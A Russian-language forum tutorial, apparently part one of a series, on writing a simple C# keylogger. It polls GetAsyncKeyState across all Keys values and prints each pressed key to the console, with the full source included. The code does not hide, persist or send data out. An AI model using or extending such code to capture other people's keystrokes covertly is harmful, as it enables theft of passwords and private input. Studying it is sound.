[Статья] KeyLogger [0]

[HideFebruary]

Вводная часть по написанию кейлоггера.
Требования к рабочему месту: Visual Studio Community 2015; .NET Framework 4.6.

Идею подкинул один товарищ который опубликовал данную тему: http://zhyk.ru/forum/showthread.php?t=1011202

Сам я до этого никогда не писал подобные вещи и мне стало интересно. По ссылке я мало чего понял. Излишние комментарии, нечитабельный код и отсутствие хоть каких-нибудь объяснений.

После недолгой и мучительной медитации я все-таки понял, что делает вброшенный код, нашел единственную полезную строчку и скопипастил её.

[DllImport ( "User32.dll" )]
private static extern short GetAsyncKeyState ( Keys key );

Данный метод WinApi, как можно догадаться, получает состояние интересующей нас клавиши. После быстрых тестов обнаружил, что метод возвращает три разных значения, но нам подойдет только одно из них: -32767. Значение символизирует нажатие кнопки, что нам и нужно.

Теперь единственное, что нам нужно это пропустить через метод интересующие нас клавиши. Все клавиши перечислены в перечислении (простите за тавтологию) Keys. Как Вы наверное знаете (хотя скорее нет), в классе Enum есть замечательный метод с названием GetValues, который коллосально уменьшит код и упростит нам задачу.

У каждой клавиши есть свой номер, в перечислении Keys определены названия и номера клавиш, например: Keys.A = 65. Эти номера нужны для получения состояний.

Я создал класс под названием KeyState и добавил в него такой метод:

public bool IsPressing ( Keys key )
            => GetAsyncKeyState ( key ) == PRESSING;

Константа PRESSING в нашем классе равна значению нажатия клавиши:

private const int PRESSING = -32767;

Так как мы пишем кейлоггер, добавим метод который вернет все нажатые клавиши по запросу:

public IEnumerable<Keys> GetPressingKeys ()
            => Enum.GetValues ( typeof ( Keys ) ).Cast<Keys> ().Where ( IsPressing );

Метод делает следующее:

• Enum.GetValues ( typeof ( Keys ) ) - возвращает коллекцию значений нужного нам перечисления, то есть значения всех клавиш.
• .Cast<Keys> () - преобразует каждый элемент коллекции в значение типа Keys.
• .Where ( IsPressing ); - возвращает из всего списка только те клавиши, которые удовлетворяют нашему методу, то есть нажатые.

А вообще учите Linq, очень крутая штука

Итак, теперь необходимо проверить работу нашего класса, запишем в мейне такой цикл:

var keyState = new KeyState();

while ( true )
{
   foreach( var key in keyState.GetPressingKeys () )
   {
      WriteLine ( key.ToString () );
   });

   Thread.Sleep (100);          
}

Пример работы на скрине:
Спойлер

[Ссылки могут видеть только зарегистрированные пользователи. ]

На этом всё. В спойлере весь исходный код:
Спойлер

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using static System.Console;
using System.Threading;

namespace ConsoleApp
{
    class Program
    {
        static void Main ( string [ ] args )
        {
            var keyState = new KeyState();

            while ( true )
            {
                foreach( var key in keyState.GetPressingKeys () )
                {
                    WriteLine ( key.ToString () );
                }

                Thread.Sleep (100);
            }
        }
    }

    public sealed class KeyState
    {
        public bool IsPressing ( Keys key )
            => GetAsyncKeyState ( key ) == PRESSING;

        public IEnumerable<Keys> GetPressingKeys ()
            => Enum.GetValues ( typeof ( Keys ) ).Cast<Keys> ().Where ( IsPressing );

        private const int PRESSING = -32767;

        [DllImport ( "User32.dll" )]
        private static extern short GetAsyncKeyState ( Keys key );
    }
}

А это следующая статья по этой тематике: KeyLogger [1]